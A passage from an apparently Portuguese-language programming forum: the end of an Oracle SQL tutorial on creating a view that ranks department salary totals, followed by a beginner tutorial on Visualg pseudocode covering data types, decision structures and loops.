VL_SALÁRIO. Agora, vamos à parte mais facil, criar a VIEW. Veja um exemplo de como criar uma VIEW: CREATE OR REPLACE VIEW WC_RANK_SAL_DEPTO AS ( -- Aqui ficará o seu select ); Então ficará assim... CREATE OR REPLACE VIEW VW_RANK_SAL_DEPTO AS ( SELECT * FROM ( SELECT D.NM_DEPTO, sum(F.VL_SALARIO) Total FROM LOC_FUNCIONARIO F, LOC_DEPTO D WHERE F.CD_DEPTO = D.CD_DEPTO GROUP BY D.NM_DEPTO ORDER BY Total desc) WHERE ROWNUM <6 ); Beleza, View criada! Como vamos acessa-la? Veja no exemplo abaixo SELECT * FROM WC_RANK_SAL_DEPTO; Apenas fazendo um select na view. Talvez algum erro ocorra, pois exportei apenas 2 tabelas de um projeto inteiro do meu banco.. Mas serve como exemplo, você pode usar as views tanto para seus projetos em banco, quanto aplicações! Isso facilita bastante. Vou deixar mais uma referencia, para dar permissoes de views.. (pro povinho já acostumado) [Oracle] Permissão para View Package / Package Body Oracle 10g | Certificação BD Querys! Qualquer dúvida, poste que eu vou pesquisar ao máximo para tentar resolver! Lembrando que estou aprendendo isso agora, não sou expert nem nada haha Abraços
  24. [video=youtube;W5UUUvAhEgU]https://www.youtube.com/watch?v=W5UUUvAhEgU&list=UUrs0588zMa2Ph0MbeuT7l1w
  25. O Visualg (Visualizador de Algoritmo) é um programa que edita, interpreta e executa algoritmos com uma linguagem próxima do português estruturado como um programa normal de computador.Um bom recurso para quem está iniciando no aprendizado de algoritmos, não só para praticar a sua criação mas também para melhor entender sua execução por meio do visualizador de variáveis que funciona como um depurador. O Visualg atualmente encontra-se na versão 2.5 e possui recursos como simulação da "tela" do computador, visualização de variáveis, breakpoints, ajuda on-line, impressão dos fontes e outras características que auxiliam o aprendizado das técnicas de programação. Wikipedia DOWNLOAD DO VISUALG ARMAZENAMENTO Tipos de dados Inteiro Real Caracter Lógico Literal VARIVEL - Valor alterável CONSTANTE - Valor permanente ESTRUTURA DE DECISÃO Se(condição)Entao //CONDIÇÃO VERDADEIRA Senao //CONDIÇÃO FALSA Fimse Escolha(variavel) Caso <valor> //COMANDOS Caso <valor> //COMANDOS Caso <valor> //COMANDOS Outrocaso //COMANDOS Fimescolha ESTRUTURA DE REPETIÇÃO Para <variavel> de <valor inicial> ate <valor final> faca //COMANDOS Fimpara Enquanto(condição) //COMANDOS Fimenquanto Repita //COMANDOS Ate(condição) COMANDOS DE ENTRADA E SAIDA Escreva(mensagem) //para pular de linha utilize EscrevaL() Leia(variavel) COMO E QUANDO UTILIZAR CADA COMANDO ? ENTRADA E SAIDA algoritmo "TUTORIAL"// Função :// Autor :// Data : 10/12/2014 // Seção de Declarações var forum:literal inicio // Seção de Comandos forum <- "WebCheats" Escreva(forum) fimalgoritmo RESULTADO: WebCheats algoritmo "TUTORIAL" // Função : // Autor : // Data : 10/12/2014 // Seção de Declarações var frase:literal inicio // Seção de Comandos Escreva("Digite uma frase") Leia(frase) Escreva(frase) fimalgoritmo ESTRURA DE DECISÃO "SE" Problema: Existem 3 tipos de classificação de salários, baixo até R$500, médio de R$500 até $1500 e alto mais de R$1500. Faça um algoritmo que identifica a classificação do salario de cada funcionario de uma empresa. algoritmo "TUTORIAL" //Função : // Autor : // Data : 10/12/2014 // Seção de Declarações var salario:inteiroinicio // Seção de Comandos Escreva("Qual é o seu salário? ") Leia(salario)//ESTRUTURA DE DECISÃO Se(salario<=500)Entao Escreva("Seu salario é baixo") // Se o salario for menor ou igual a 500 Senao Se(salario<=1500)Entao // Aqui eu ja sei que o salario é maior que 500 Escreva("Seu salários é médio") // Se salario for menor ou igual a 1000 Senao Escreva("Seu salário é alto") // Aqui eu sei que o salario nao é menor que 1500 então só pode ser maior que 1500 ou seja, salário alto Fimse Fimse fimalgoritmo ESTRUTURA DE DECISÃO "ESCOLHA" Problema: Descubra qual é o dos usuários. algoritmo "TUTORIAL" // Função : // Autor : // Data : 10/12/2014 // Seção de Declarações var seso:caracter // CENSURA OK inicio // Seção de Comandos Escreva("Qual é o seu seso? (M/F)")//ESTRUTURA DE DECISÃO Escolha(seso)Caso "M" Escreva("Você é do seso masculino") Caso "F" Escreva("Você é do seso feminino") Outrocaso Escreva("seso inválido") Fimescolha fimalgoritmo ESTRUTURA DE REPETIÇÃO "PARA" Problema: Pedir um valor para o usuário (1 à 10) e mostrar sua tabuada. algoritmo "TUTORIAL" // Função : // Autor : // Data : 10/12/2014 // Seção de Declarações var x:inteiro y:inteiro inicio // Seção de Comandos Escreva("Qual tabuado você deseja? ") Leia(y) Para x de 1 ate 10 faca Escreva(x,"x",y,"=",x*y) Fimpara fimalgoritmo ESTRUTURA DE REPETIÇÃO "REPITA ATE" Problema: Some quantos numeros o usuario quiser. algoritmo "TUTORIAL" // Função : // Autor : // Data : 10/12/2014 // Seção de Declarações var x:inteiro y:inteiro resp:caracter inicio// Seção de Comandos resp <- "s" Repita Escreva("Digite um numero: ") Leia(x) y <- y+x Escreva("Deseja somar mais numeros ? (S/N)") Leia(resp) Ate(resp="n") Escreva("Total: ",y) fimalgoritmo Bom pessoal, é basicamente isso, em breve estarei acrescentando ao tópico VETORES que é bem legal de usar ! Espero que tenham gostado ! Até mais...
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